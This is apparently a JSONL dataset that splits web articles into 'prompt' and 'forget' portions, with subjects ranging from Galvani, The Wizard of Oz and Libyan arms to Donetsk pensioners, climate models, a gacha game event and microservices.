{"prompt": "\"Galvani\" redirects here. For other uses, see Galvani (disambiguation) Luigi Aloisio Galvani (;[1] Italian: [\u0261al\u02c8va\u02d0ni]; Latin: Aloysius Galvanus; 9 September 1737 \u2013 4 December 1798) was an Italian physician, physicist, biologist and philosopher, who discovered animal electricity. He is recognized as the pioneer of bioelectromagnetics. In 1780, he discovered that the muscles of dead frogs' legs twitched when struck by an electrical spark.[2]:67\u201371 This was one of the first forays into the study of bioelectricity, a field that still studies the electrical patterns and signals from tissues such as the nerves and muscles. Galvani's wife Lucia Galeazzi Galvani encouraged his", "forget": "independent research, and served as a counselor and guide for his experiments until her death. Due to the conventions of the time she wasn't credited for any scientific work she may have done in the lab. She grew up with science and her father was a prominent member of the Bologna Academy of Science. [3] Early life [ edit ] De viribus electricitatis in motu musculari Experiment Late 1780s diagram of Galvani's experiment on frog legs Luigi Galvani was born to Domenico and Barbara Caterina Foschi, in Bologna, then part of the Papal States. Domenico was a goldsmith, and Barbara was his fourth wife. His family was not aristocratic, but they could afford to send at least one of their sons to study at a university. At first Galvani wished to enter the church, so he joined a religious institution, Oratorio dei Padri Filippini, at 15 years old. He planned to take religious vows, but his parents persuaded him not to do so. Around 1755, Galvani entered the Faculty of the Arts of the University of Bologna. Galvani attended the medicine course, which lasted four years, and was characterized by its \"bookish\" teaching. Texts that dominated this course were by Hippocrates, Galen, and Avicenna. Another discipline Galvani learned alongside medicine was surgery. He learned the theory and the practice. This part of his biography is typically overlooked, but it helped with his experiments with animals and helped familiarize Galvani with the manipulation of a living body. In 1759, Galvani graduated with degrees in medicine and philosophy. He applied for a position as a lecturer at the university. Part of this process required him to defend his thesis on 21 June 1761. In the following year, 1762, he became a permanent anatomist of the university and was appointed honorary lecturer of"}
{"prompt": "Director: Victor Flemming, George Cukor, King Vidor Writers: L. Frank Baum (novel), Noel Langley, Florence Ryerson and Edgar Allan Woolf (screenplay) Producers: Mervyn LeRoy, Arthur Freed (MGM) Photography: Harold Rosson Music: Harold Arlen, E.Y. Harburg Cast: Judy Garland, Frank Morgan, Ray Bolger, Bert Lahr, Jack Haley, Margaret Hamilton, Billie Burke, Terry the Dog, Clara Blandick, Charley Grapewin The Rundown Introduction There may be no greater testament to The Wizard of Oz than the vast demographics it covers, from theater types who adore Broadway\u2019s Wicked to stoners who watch the film in sync with Pink Floyd\u2019s Dark Side of the Moon.", "forget": "After nearly 75 years, the film has transformed itself from mild box office showing to must-see annual TV event to timeless pop culture legend. It\u2019s hard to think that the movie started as just that \u2014 a movie. It\u2019s almost impossible to look objectively at a film that\u2019s so burned into our collective conscious that every song seems our own, every word feels part of our vocabulary and every touch appears as if fate intended it to be there. The film has become so mythical that many fans can no longer separate fact from fiction. Didn\u2019t a Munchkin hang himself on screen? Aren\u2019t there hidden metaphors for government policies? Wasn\u2019t there some on-screen accident? Some off-screen illness? Some of these myths have been busted; others embraced. But one thing is for certain \u2014 a film that spawns so many legends must indeed be a legend itself. Plot Summary The story originated with the beloved children\u2019s book, The Wonderful Wizard of Oz (1900) by L. Frank Baum, who came up with the title by looking at the two letters printed on the bottom drawer of his filing cabinet (O \u2013 Z). (B) It\u2019s a story we all know well. Restless teen Dorothy Gale (Judy Garland) lives a dull life on a Kansas farm with her Auntie Em (Clara Blandick) and Uncle Henry (Charley Grapewin). For entertainment, she looks to dog Toto (Terry the Wire Terrier) and three farm hands, Hunk (Ray Bolger), Hickory (Jack Haley) and Zeke (Bert Lahr). Still, she feels underappreciated on the farm, and when a mean old neighbor, Elmira Gulch (Margaret Hamilton), threatens to take Toto to the pound, she decides it\u2019s time to run away from home. After a brief run-in with fortune-teller hack Professor Marvel (Frank Morgan), Dorothy decides to return home \u2014 just as"}
{"prompt": "Two of the country's most-acclaimed fine-dining restaurants will trade cities and spaces for one week this fall. New York's Eleven Madison Park and Chicago's Alinea \u2014 three Michelin-starred restaurants both \u2014 will swap chefs, kitchens and dining rooms, opening in essence pop-up restaurants in each other\u2019s space. Alinea will occupy Eleven Madison Park in New York beginning Sept. 26 for five consecutive nights. Eleven Madison Park will do the same in Chicago starting Oct. 10. Tickets go on sale in coming weeks via its Facebook page. A collaboration was first hinted at through a YouTube video released Friday. In it,", "forget": "both restaurants dismantle their kitchen and dining rooms, packing everything up in boxes (including chef Grant Achatz). In layman's terms, at least to non-foodies who don't recognize Thomas, Heston and Ferran by a first-name-only basis (respectively chefs Keller, Blumenthal, Adria), it's the culinary equivalent of the New York Philharmonic and Chicago Symphony Orchestra trading concert halls for one-week residences. Experiencing this will come at a premium. For Chicagoans hoping to score one of several hundred tickets for Eleven Madison Park, the exclusiveness of a five-night stand and hefty price tag means casual diners might sit this one out ($495 in both cities, not including tax and service). But for devotees of high gastronomy, the band of Michelin guide-clutching food tourists, it's a chance to sample one of the most-lauded New York restaurants in recent memory. The James Beard Foundation Awards \u2014 the Oscars of the restaurant world \u2014 has awarded Eleven Madison Park its two highest honors in consecutive years: Outstanding restaurant in 2011, and outstanding chef this past May for its 36-year-old Swiss-born chef, Daniel Humm. In the most recent \"World's 50 Best Restaurant\" rankings, a survey of 800 international restaurateurs and food journalists, Eleven Madison Park was voted the 10th best restaurant in the world, jumping from 24th place last year, and from 50th place in 2010. Alinea was No. 7 in the rankings. Those who previously dined at Eleven Madison Park will likely not recognize the iteration it plans on bringing to Chicago. Jeff Gordinier in The New York Times wrote the restaurant will soon reinvent its concept, \"treating diners to flashes of Broadway dazzle: card tricks, a glass dome full of smoke, a blast of sea mist from a tabletop clambake and a cheese course that emerges from a picnic basket ... a risky move to"}
{"prompt": "France has become the first country openly to admit it has supplied the Libyan rebels with weapons \u2013 a measure banned by the UN Security Council. Russian Foreign Minister Sergey Lavrov has labeled the move as a major violation of the UN resolution. \u201cWe have asked our French colleagues if the statement about weapon supply from France to the Libyan rebels is true,\u201d Lavrov said. \u201cWe are waiting for the answer. If that is proved to be true, that would be a major violation of the UN resolution 1970.\u201d The move was also condemned by the African Union, while China", "forget": "indirectly objected to it. A French military spokesman, Colonel Thierry Burkhard, said the arms, including machine guns, rocket-propelled grenades, as well as munitions, were parachuted in to besieged rebels. According to the official, the deliveries took place in early June in the western Nafusa Mountains, when Gaddafi's forces encircled the civilians and refused to allow a humanitarian aid corridor there, AP reported on Wednesday. Chairman of the African Union Jean Ping has condemned the move in an interview with BBC, saying it threatens to put the entire region at risk. Chinese Foreign Ministry spokesman Hong Lei indirectly opposed France\u2019s actions on Thursday, saying that countries should avoid actions that go beyond UN Security Council directives. Spokesman for the rebels Mahmoud Jibrilm who is now in Austria, said more weapons are needed to fight against Muammar Gaddafi\u2019s regime. He also said the Benghazi-based Transitional National Council needs large amounts of money from foreign sponsors to fund its programs for civilians. Meanwhile the UK on Thursday said that it is supplying body armor to the rebels. Britain's Foreign Secretary William Hague said the UK was offering 5,000 sets of body armor, 6,650 police uniforms, 5,000 high-visibility vests and communication tools to Benghazi. The equipment is meant for the rebel police. \u00ad\u201cArmed rebels are not civilians, which the UN wants to protect\u201d France has been among the main powers behind the NATO-led air campaign, officially aimed at protecting civilians from assaults by Gaddafi's forces. However, many view a change of regime in Libya as the main reason of the alliance\u2019s involvement in the country. The Libyan National Transitional Council last week also received its first tranche of financial help from the international community to the amount $100 million, UK Foreign Secretary William Hague announced on Wednesday. The rebels are receiving funds from several"}
{"prompt": "At least she saved us from unisex toilets. Phyllis Schlafly died Monday at the age of 92, bringing an end to more than a decade of Wonkette comments beginning \"You mean to say that old hater is still alive?\" Schlafly made a career out of portraying herself as a simple housewife who was so driven by her love of American values and traditions that she had no choice but to to go to work to tell women to stay home and be mommies like God and George Washington wanted them to, or the Communists would win. In reality, she was", "forget": "a shrewd political operator most of her life, even well before those nasty '70s feminists stopped shaving their legs and abandoned their babies at daycares so they could go become lesbian witches. If you read any other longform pieces about Schlafly beyond the mandatory New York Times obit, read Lisa Wines's fine Wonkette story about the time in 1966 when Schlafly started a riot at the 1966 convention of the National Federation of Republican Women. In fact, read that before you read what the Grey Lady has to say about the grey lady. In recent months, Schlafly had been busy working for the election of her new political boyfriend, Donald Trump, which led directly to an ugly internecine battle over control of the political group she founded, the Eagle Forum. The fight transformed Schlafly's family into a cut-rate wingnut version of King Lear, with all the acrimony and potential for violence, but none of the real sense of tragedy. As the Bard said, \u201cThou shouldst not have been old till thou hadst been wise,\u201d right? How bitter was the Schlafly Family drama? In a now-deleted (but still cached) Breitbart piece, Schlafly gave out her daughter's phone number and urged supporters to tell her to surrender. As the fuck-tussle progressed, we learned Ms. Schlafly (we always loved typing that combination) briefly considered naming fangirl Michele Bachmann -- who credited Schlafly with ending the Cold War -- as her designated successor, but ultimately decided Michele Bachmann was simply too fucking stupid for the job. Then again, maybe her chosen Presidential candidate wasn't any prize, either: The Cubs Schlafly is a real contender this year Trump almost immediately deleted the tweet, but screenshots are forever. Also, Donald, obituaries are not about you. Just kidding, of course they are. One of the reasons people"}
{"prompt": "\u201cIt\u2019s incredible, the volume of stuff coming out\u201d from Iran, said Matthew Weaver, who sounded exhausted Thursday evening after blogging for more than 10 days for The Guardian newspaper\u2019s Web site. When rallies and conflicts occur \u201cfirst the tweets come, then the pictures, then the YouTube videos, then the wires,\u201d he said. \u201cIt\u2019s extraordinary.\u201d Most important, he said, what people are saying \u201cat one point in the day is then confirmed by more conventional sources four or five hours later.\u201d Photo CNN encourages viewers to upload pictures and observations to iReport.com, its Web site for citizen journalism. Every upload is", "forget": "posted automatically on iReport.com, but each is studied before being shown on television. In the vetting process, CNN contacts the person who posted the material, asks questions about the content and tries to confirm its veracity. Lila King, the executive in charge of iReport, said the staff members try to \u201ctriangulate the details\u201d of an event by corroborating stories with multiple iReport contributors in a given area. Farsi speakers at CNN sometimes listened intently to the sound from the protest videos, discerning the accents of Iranian cities and transcribing the chants and screams. Because the videos and images are not taken by a CNN employee, the network cannot completely vouch for their authenticity. But without professionals at the scene \u2014 CNN\u2019s remaining correspondent was pulled out last week after the government imposed prohibitive restrictions \u2014 they provide the all-important pictures to tell the story. In an indication of how difficult the process can be, CNN had received 5,200 Iran-related submissions and had approved about 180 of them for use on television. Advertisement Continue reading the main story Iran is now the third biggest traffic driver to iReport.com, behind the United States and Canada. One month ago, Iran ranked No. 63 on the list of countries. Ms. King called Iran a \u201cwatershed moment\u201d for citizen dispatches, and for the first time an iReport producer sits at the main CNN newsgathering desk. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products"}
{"prompt": "Hardware developer CTA\u2019s kiosk featured an array of third-party Playstation, Playstation Move\u2122, Wii, DSi and Kinect peripherals on the CES floor, from induction charge stations to gun controller and bowling ball modifications. CTA\u2019s product lineup suggested a willingness to take risks. While the concept of induction chargers isn\u2019t a brand new one, CTA is releasing a line that mixes up the formula. Their Nintendo branded unit charges Wii remotes, as well as a DS, their PS3 focused unit charges 3 and includes external USB battery-packs that both allow for induction charging and extend play lifetime. CTA is also developing several", "forget": "peripherals for the Kinect, designed mostly to make interaction easier. These included a playing mat with distinct zones for the solo or first and second player, and a plastic prototype for a handheld steering wheel. The Brooklyn-based developer specializes in online retail aimed at the US market. Trauben\u2019s Impressions Some of the products on display here were kind of interesting. It seems an interesting statement on playing the Kinect that what amounts to specially-designed models serve as peripherals for it, while WiiMote and Move\u2122 peripherals are housings built around the basic controller. The induction charger was a neat idea. I\u2019m new to those. Huneycutt\u2019s Impressions CTA\u2019s biggest strength is its ability to unapologetically hurl itself at fun. Their products, from their Wii Bowling Ball to their line of their replica Gun controllers for the PS3 shows a gleeful design aesthetic with little concern for any criticism that their products may attract. And while some of their products aren\u2019t of the highest-order of build quality, they\u2019re an energetic and pleasant group of people who have an obvious love of their line, and that\u2019s to be lauded. The fully-functional PS3 Gun Controller is a very different way to play an FPS, and their chargers are in many ways a curve ball: while its the same product, and achieves the same end, the means are subtly different. The inflatable Kart its unabashed fun, if unnecessary and a little impractical. But ultimately, that\u2019s what makes CTA fun and interesting, and there are far worse things to be. And at the end of the day, all I really have to say is . . . inflatable Jet Ski for Wii. That\u2019s right, I dropped that bomb. I cannot WAIT for a review copy of that. Check back at www.pixelatedgeek.com for updates of CTA\u2019s product line!"}
{"prompt": "My interview series continues. I recently met up with my friend Gilmar Santos, a Brazilian guy whom I\u2019ve known for some time. I\u2019ve learned a great deal about social dynamics in Brazil from listening to his incredibly detailed breakdowns of the dating scenes in different parts of the country. Gilmar is also a man of broad knowledge and deep introspection, a combination that is becoming unfortunately all too rare these days. His insights on the impact of social media on the dating scene in his country, on physical fitness, and on spiritual development are valuable, and worth our careful attention.", "forget": "During our last meeting, I asked him if he would be interested in sharing his observations on Brazilian game and other topics with the Return of Kings readership. What follows are the highlights of our conversation. Quintus: Glad you could join us here at ROK, today, cara. I know things are busy for you these days in Parana state. Gilmar: No problems, Quintus. Thanks for having me here. You guys at ROK have been on a roll lately [laughs]. Quintus: But all fortune is fleeting, right? [laughs]. So, you\u2019re living in the city of Cascavel now, right? Give our readers a little information about your background. The city of Cascavel Gilmar: I was born in Sao Paulo and spent most of my childhood there. I lived in Portugal for a few years in my teens before returning to SP for college. My current job gives me plenty of mobility inside the country, so every 2 or 3 years I am given an opportunity to relocate. This was, in fact, one of the reasons I took the job, and because of this I got to live in the Amazon region for a couple of years, and am now in Parana, a state in southern Brazil. If all goes as planned, my next stop will be Minas Gerais. Quintus: I remember being really impressed with your English abilities when we first talked. You probably speak it better than most natives. Gilmar: [laughs]. Well, I have my moments. There is no such thing as an easy language. Quintus: How does your current city where you live compare with other Brazilian cities you\u2019ve lived at in the past? Gilmar: Brazil is a big country, so there are a lot of cultural and racial differences according to region. Broadly speaking, the further north you go,"}
{"prompt": "Retirees eat in the City of Hope church cafeteria. The church serves one meal a day, which sustains many seniors who have seen the government cut off their pensions. (Photo11: Tatyana Goryachova) DONETSK, Ukraine \u2014 Retirees in Donetsk, the largest city in eastern Ukraine held by pro-Russian separatists, are dying of hunger because their pensions have been cut off by the national government, rebel officials and residents say. Though Ukraine has not publicly discussed starvation deaths, it acknowledges there is a humanitarian crisis in the eastern region because of the conflict and blames the separatists and Russia for supporting the", "forget": "rebels. The government cut off pensions this month to people in all areas of eastern Ukraine controlled by separatists to undercut support for pro-Russian rebels. The number of starvation deaths in Donetsk is hard to pin down, largely because the conflict between Ukraine and separatist forces has crippled government functions in the east, including medical and coroners' offices that record causes of deaths. The siege of the city that began in August has led to 40% of the city's 1 million people fleeing. Dmitry Ponomarenko, pastor of the City of Light Protestant church, said he believes the starvation toll is in the hundreds, perhaps thousands. His assessment is based largely on accounts from parishioners and 300 seniors who come to his church daily for a free meal. In one month, they reported more than 100 starvation deaths of pensioners in Donetsk, he said. Dmitry Ponomarenko, pastor of the City of Light church in Donetsk, Ukraine, says churchgoers reported 100 starvation deaths of seniors in one month. He says hundreds are dying of hunger in eastern Ukraine's biggest city. (Photo11: Tatyana Goryachova) The Ukrainian Independent Information Agency, citing aid workers, reported that 22 seniors in Donetsk, mostly single men, died of hunger in September. Irina Prodorova, who volunteers to bring meals to shut-ins, recently found the bodies of two men she had been helping. She said their emaciated condition indicated they died of hunger. Her group has resources to serve only one meal a week to shut-ins, she said. Alexander Zakharchenko, prime minister of the separatists' Donetsk People's Republic, has acknowledged that retirees are dying of hunger. In a meeting with Donetsk city officials Dec. 9, he said, \"The main topic of discussion was paying social benefits to elderly and disabled pensioners because they are starving and cannot buy medicine.\" The"}
{"prompt": "BOSTON -- When the Toronto Marlies of the American Hockey League helped out with a reading program in a number of local schools last season, the experience was a little different for one of the players than the rest. The kids were tasked with doing projects on one of 8-10 books chosen for the curriculum, which was sponsored by the Marlies along with Scotiabank and First Book Canada; the winning class got to go to a Marlies game. One of the options was \"The Bambino and Me.\" Another was \"Hockey Hero.\" Each was written by Hyman. Becoming an author wasn't", "forget": "exactly what Hyman had planned to do with his life. His goal was to become an NHL player, a dream he reached with his debut on Feb. 29; that it was with the Toronto Maple Leafs was doubly special for a kid who grew up in Toronto. That was what he would have said, had he been asked, about his aspirations back in elementary school or middle school or high school. Hockey was always his first love. But somewhere along the way Hyman found a parallel path, one that might last beyond the 24-year-old's playing days. \"I didn't really expect much from writing,\" Hyman said Saturday. \"I wasn't trying to go out there and be an author. But it's a big passion of mine and I just really, really enjoyed it, so once everything came together it was a no-brainer for me that I wanted to keep pursuing writing.\" It started when Hyman was in seventh grade, when he wrote the story that would become the basis for \"Hockey Hero\" for a short-story competition. He won. His father helped him explore the idea of self-publishing the book, which he eventually did. Inquiries led the pair to freelance book editor Janice Weaver, who often works on children's books. They began working together on \"The Bambino and Me\" when Hyman was in high school. The book is built, in parts, around real-life quotes from Babe Ruth. \"What I really liked about that project, the thing that kind of struck me about it first, was that Zach had used so many of Babe Ruth's own words to tell the story,\" Weaver said. \"I thought it was a really nice way of bringing the factual elements into a fictional story and giving you a good flavor for what that larger-than-life person was like. I"}
{"prompt": "HAUNTING PAST: The 63 tombstones at Satth Kabar in Bijapur today lie neglected HAUNTING PAST: The 63 tombstones at Satth Kabar in Bijapur today lie neglected History is not just about quests and conquests. Beyond the ramparts and the battlefields there were the ordinary men and women, the farmers, the shopkeepers, the housewives, the blacksmiths, the servants, who worked to keep the empires going. But their narratives lie frozen and unheard amidst the dead debris of time. If you look around carefully, you will find that every place has a nook or cranny which records history. It could be a", "forget": "decaying log hut, an inscription on the rocks, perhaps a path long disused and overrun by weeds. All these have their own stories to tell. There's such a corner in Bijapur with a sad tale to relate. The rows of tombstones there tell a story that is redolent of the days when the world revolved around men, when women wilfully or otherwise immolated themselves on their husband's funeral pyre. They recall insane acts, like those of Sultan Ibrahim of the Ottoman Empire who drowned his entire harem when he was told that one of them enjoyed a relationship with a eunuch. A concubine swam free and lived to tell the tale. None of the 63 noble women of Bijapur survived to recount their horrific experience. It was the year 1658, when Ali Adil Shahi II of the Shahi dynasty was preparing to go to war against Shivaji, the indefatigable Maratha ruler. Under constant pressure from Aurangzeb on one side and Shivaji on the other, Adil Shahi depended on his generals to stall the enemies, and he counted General Afzal Khan among his most trusted warriors. Khan was a brave man who had but one weakness: auguries and omens. When asked to lead a battle against Shivaji, Khan contacted astrologers who predicted doom - death at the hands of the Maratha soldiers. Fearing that his wives would remarry after his death, the anxious general chose to kill them. Some say they were pushed into a deep well, while others say they fell to his sword. The diviners proved correct, for Khan did die in battle. His wives lie buried just 5 km from Bijapur at a place that now bears titular testimony to the uxoricide - Saatth Kabar (60 Graves). Ironically, the tomb built by the general for himself, who wanted"}
{"prompt": "This article is from the archive of our partner . Just a few weeks ago, rapper Lil Wayne was not in good shape. He was checked into the ICU for six days, reportedly high on sizzurp, but he somehow managed to evade death even though the usually-right-about-celebrities-dying \"reporters\" at TMZ said he was on his way to higher ground. Now Weezy is telling everyone to relax, and not to worry, he's just epileptic. \"The bad news is I'm an epileptic. I'm prone to seizures. This isn't my first, second, third, fourth, fifth, sixth, seventh seizure. I've had a bunch of", "forget": "seizures, ya'll just never hear about them,\" Wayne told Los Angeles's Power 106 FM. He further explained his recent stay thusly: \"But this time it got real bad 'cause I had three of them in a row and on the third one, my heart rate went down to like 30 percent. Basically, I could\u2019ve died, so that is why it was so serious.\" So, this is the first time the world is hearing about Wayne's brush with death from the rapper himself, and his version of the hospitalization heard around the world cuts against what we were told at the time: that Wayne more or less overdosed on sizzurp\u2014a mix of prescription strength cough syrup with codeine and soda\u2014and that he was hanging onto life by his fingernails. Even TMZ, which has consistently been the accurate source of news on the death of celebrities like Michael Jackson and Whitney Houston, reported that Wayne he was receiving his last rites\u2014a report TMZ later retracted. That did not go over well with Wayne, who compared the celebrity news outlet to his misbehaving children: That\u2019s what they do. I can\u2019t be upset at that. I get upset at my kids when they do things that I tell them not to do. I can\u2019t be upset at TMZ for doing what they do. They gon\u2019 probably come out tomorrow and say something else about somebody else that ain\u2019t true. That\u2019s what they do. The truth isn\u2019t good enough for them, so they gotta twist everything up. Wayne's version of the events, of course, does not mention sizzurp\u2014he traced the hospitalization back to his seizure problem, and stress. \"[T]he reason being for the seizures is just plain stress, no rest, overworking myself. That's just typical me though.\" Wayne is planning a 40-show tour, which begins"}
{"prompt": "Prominent atheists Richard Dawkins and Christopher Hitchens are paying lawyers to investigate the possibility of prosecuting the pope for crimes against humanity, their solicitor confirmed today. The pair argue that Pope Benedict XVI should be arrested when he visits Britain in September and put on trial for his alleged cover-up of sexual abuse in the Catholic church. Last week a letter emerged from 1985 in which the then Cardinal Joseph Ratzinger urged that a paedophilic priest in America not be defrocked for the \"good of the universal church\". The Vatican has already suggested the pope is immune from prosecution because", "forget": "he is a head of state. But Dawkins and Hitchens believe that because he is not the head of a state with full United Nations membership, he does not hold immunity and could be arrested when he steps on to British soil. This is the advice they have been given by their lawyers \u2013 solicitor Mark Stephens and human rights barrister Geoffrey Robertson QC. \"I'm convinced we can get over the threshold of immunity,\" said Stephens. \"The Vatican is not recognised as a state in international law. People assume that it has existed for time immemorial but it was a construct of Mussolini, and when the Vatican first applied to become a member of the UN, the US said no. So as a sop they were given the status of permanent observers rather than full members.\" But the Holy See insists it is a state like any other. Earlier this month, Giuseppe Dalla Torre, Vatican tribunal chief, said: \"The pope is certainly a head of state and he has the same legal status as all heads of state.\" Stephens said there are three lines of approach to put the pope in the dock. \"One is that we apply for a warrant to the international criminal court. Alternatively, criminal proceedings could be brought here, either a public prosecution brought by the Crown Prosecution Service or a private prosecution. That would require at least one victim to come forward who is either from this jurisdiction or was abused here. The third option is for individuals to lodge civil claims,\" said Stephens. He said he had recently been approached by seven wealthy individuals who donated money to the Catholic church and were dismayed their money had not only been used to fund abuse but also buy the silence of victims. These people could"}
{"prompt": "It\u2019s a well-kept secret, but 95% of the climate models we are told prove the link between human CO\u2082 emissions and catastrophic global warming have been found, after nearly two decades of temperature stasis, to be in error. It\u2019s not surprising. \u2013 Maurice Newman, AC, Chair of the Prime Minister\u2019s Business Advisory Council, writing in The Australian newspaper, May 8, 2015. As the Prime Minister Tony Abbott\u2019s top business adviser, Mr Newman is a person of influence in Australia so his public statements should be held up to scrutiny. In a recent newspaper column, Mr Newman said discrepancies between climate", "forget": "model forecasts and recorded temperatures begged the question: \u201cWhy then, with such little evidence, does the UN insist the world spend hundreds of billions of dollars a year on futile climate change policies?\u201d All scientists would agree with Mr Newman that critical analysis of mathematical modelling is a crucial part of science. But it is a logical fallacy to leap from that valuable topic to describing climate change policies as futile. Climate models: what they can and can\u2019t do There is a saying in science that \u201call models are wrong, but some models are useful\u201d. In simulating any complex system, any model will fail to reproduce all facets of the system perfectly. Mathematical models may be imperfect but they are extremely helpful to predict the weather, design aeroplanes and even test new vaccines. They are essential to modern life. A major part of scientific research is not only developing models, but determining how they are best employed. When asked for a data source to substantiate his 95% claim, Mr Newman referred The Conversation to research by a range of scientists including Professor Judith Curry from the Georgia Institute of Technology and Professor John Christy from the University of Alabama in Huntsville. Mr Newman said these researchers had identified errors in climate modelling. Mr Newman also quoted former NASA scientist and University of Alabama in Huntsville research scientist, Dr Roy Spencer as saying: \u2026 the climate models that governments base policy decisions on have failed miserably. I\u2019ve updated our comparison of 90 climate models versus observations for global average surface temperatures through 2013, and we still see that >95% of the models have over-forecast the warming trend since 1979, whether we use their own surface temperature dataset (HadCRUT4), or our satellite dataset of lower tropospheric temperatures (UAH).\u201c It\u2019s true that over"}
{"prompt": "Israel Accused of Suppressing Terror Evidence to Help Out New Pal China Israel is a country desperate for friends. Isolated in the Middle East and hated in large parts of the Arab world, it struggles to make alliances. The few it has, it guards fiercely. So it should perhaps come as no surprise that for years Israel has been courting China, inking trade deals and f\u00eating one another over champagne. But that process now finds Israel in an awkward bind, one that may lead the country to compromise on its core anti-terror policies. According to a report in Haaretz, the", "forget": "Israeli government is currently under enormous pressure from Beijing to suppress evidence that the Bank of China laundered money for Islamic Jihad. In 2006, a Jewish-American teenager, Daniel Wultz, was killed in a suicide bombing carried out by Islamic Jihad at a Tel Aviv shawarma restaurant. His parents have now sued for damages \u2014 at the initial encouragement of Israel \u2014 and allege that the Bank of China laundered funds for the terror group, effectively bankrolling the operation that killed their son. Prior to filing the case, according to Haaretz, Israeli officials told the parents, Yekutiel and Sheryl Wultz, that they would support their case and provide evidence implicating the Bank of China. Now, at Beijing\u2019s urging, they\u2019re having second thoughts. So far, Israel has declined to provide the expert testimony they promised and are currently deliberating over whether to make Uzi Shaya, a former intelligence official, available to a New York City court. That\u2019s right, under Chinese pressure, Israel may prevent the victims of a Tel Aviv terrorist attack from extracting damages from the people who bankrolled an operation that killed their son. Chalk it up to the cost of a new friendship. If the burgeoning alliance between Israel and China sounds unlikely, bear in mind that it\u2019s a relationship forged in political and economic calculation. Israel was one of the first countries to recognize China following its Communist revolution, and while it took over 40 years for to China establish diplomatic relations with Israel, the two countries have something off an oddball history of military cooperation. Awash in seized Soviet weapons following the Six Day War in 1967, Israel quietly worked to upgrade China\u2019s military arsenal. That relationship continued into the 1990s when President Bill Clinton furiously vetoed the proposed sale from Israel to China of an advanced"}
{"prompt": "Updated Sept. 12, 2014 to change \u201cGiveWell Labs\u201d to \u201cOpen Philanthropy Project,\u201d in line with our August 2014 announcement.Throughout the post, \u201cwe\u201d refers to GiveWell and Good Ventures, who work as partners on the Open Philanthropy Project. In our work on the Open Philanthropy Project, we\u2019ve consistently found that the level of interest we show in a cause \u2013 including our perceived willingness to provide funding within it \u2013 is a major driver of what sorts of giving opportunities we\u2019re able to find. This dynamic has been one of the major factors in the grants we\u2019ve made so far, and", "forget": "it\u2019s also a major reason that we\u2019re eager to \u201ccommit\u201d to causes, as mentioned earlier this year. We believe that there\u2019s a limited amount we can learn about a cause when presenting ourselves as \u201cpotentially interested in providing moderate amounts of funding\u201d rather than \u201cstrongly interested in providing major funding.\u201d We\u2019ve come to believe in the importance of committing to causes in order to investigate them, and in the importance of \u201cgiving to learn\u201d for the Open Philanthropy Project, via the following process: We initially envisioned a process that first gathers information on giving opportunities and then identifies which grants should be made. However, from observing the behavior of potential grantees and other funders, we came to believe that a funder must be highly prepared (and likely) to make grants in an area in order to find giving opportunities in that area. Many people will only make the relevant referrals, propose relevant ideas, etc. once they are convinced of a philanthropist\u2019s serious interest in providing funding. As such, we have in many cases tried offering funding in an area \u2013 or at least expressed strong interest in the area \u2013 before knowing what giving opportunities would turn out to be available. This approach has led to multiple cases in which much of the learning value of a grant (from our perspective) comes from the process leading up to the grant. \u201cGiving to learn\u201d can mean multiple things. It can mean (a) funding research in order to gain specific knowledge; it can also mean (b) funding a project in order to learn from following the project\u2019s progress. The dynamic laid out in the above bullet points represents perhaps the most counterintuitive meaning: \u201cgiving to learn\u201d can mean (c) offering funding in order to learn from the process of finding grantees. This"}
{"prompt": "Giorno Giovanna will be joining Ore Collection! Giorno Giovanna has a dream! Take over the organization that runs the city. Use his Passione to become the Gangstar! This event will run during the period: 12/01 12:00 ~ 12/15 11:59 Gangsters Sparkling in the Darkness A passion filled visit to Italy is happening Weekly Shonen Jump: Ore Collection! Face up against the Strong gangsters from Passione! This event has 6 Stages that can be challenged on 3 difficulties: Beginner \u2013 Intermediate \u2013 Expert As with all the events this game has held so far; the harder the stage is, the better", "forget": "the drops are. So for this event, the optimal stage for general farming is Stage 6 on Expert. The medals for Jump Awakening Giorno Giovanna are available from the store and from farming the stages. The medal drops are random so the best stage to farm medals is Stage 6 because the other drops are improved. In this event, The Passione Gang and their Boss will appear as enemies. These enemies will be Strength type so Agile units will be Super Effective! Passione\u2019s boss Diavolo will appear on the final stage! He will use a Special Skill that will roll-back your skill gauges as well as a defence buff skill. Use skills that speed up your cooldowns and lower enemy defence power for the best chance of winning! Examples of units who charge skill gauges: Examples of units who lower defence Ganstars Gacha This is your chance to get a copy of Giorno Giovanna! He is exclusive to this banner so if you want him in your deck then act now! Banner Exclusive: Giorno Giovanna The gacha will feature all the normal \u201cstandard\u201d gacha units but will include a boosted chance of pulling the 5* units : The pleasant rain of Tsunas best friend \u2013 Yamamoto Takeshi Leader of Sket Dan \u2013 Y\u016bsuke Fujisaki (Bossun) Dream to be a GangStar \u2013 Giorno Giovanna This gacha will run during the period: 12/01 12:00 ~ 12/15 11:59 More info on these units here Ganstars Scene Gacha New Scenes from Jojo\u2019s Bizarre Adventure and Sket Dance will be added in this gacha! Additionally these scenes will be made easier to pull during this event This Scene Gacha will run during the period: 12/01 12:00 ~ 12/15 11:59 What kind of event is this? In this event you can earn luxurious rewards by defeating"}
{"prompt": "In the latest episode of To Be Continuous, Edith and Paul discuss the challenges and benefits of refactoring monolithic applications into microservices. They examine various approaches for creating microservice boundaries and dispel the myth that they should be defined as small as possible. Transcript 00:00:00 00:00:00 Paul Biggar: The idea of having something that you have a slow delivery cycle for some particular reason, or you have a normal delivery cycle but that still takes a day or whatever because there's code review and that sort of thing. And you want to have something really, really fast. You want to", "forget": "have multiple stages, multiple speeds of delivery based on different needs of different parts of the company, and that sort of thing. Edith Harbaugh: I'm just so excited about this today, started talking about it. I mean this is really the promise of microservice. Like the old way was you had this monolith. The best thing I ever heard was a friend call it disgusting monolith, where everything was all tied together, and if you wanted to change one thing, you had to test everything all together. Paul: Right, and we've all been there I'd say. Edith: Yeah and it's very painful. It's very painful because then you get into this fix/release cycle. But decoupling things into different components that means that you can start iterating on some of them faster than others. Paul: Right, One of the questions that you get around microservices is, \"How do you define microservices boundaries?\" And a lot of people just go, \"Oh you make them as small as possible\" which I think is ridiculous. But the ones that have always made sense to me is that you have service boundaries where there's different teams, or service boundaries when there's needs to deploy the service at different pace from the services around it. Edith: Yeah, I mean I don't think you should decompose for the point of decomposing. Because that's when you end up with like 8,000 microservices, and you're like, \"I don't know,\" this happens. I think you should decompose when, as you said, there's a 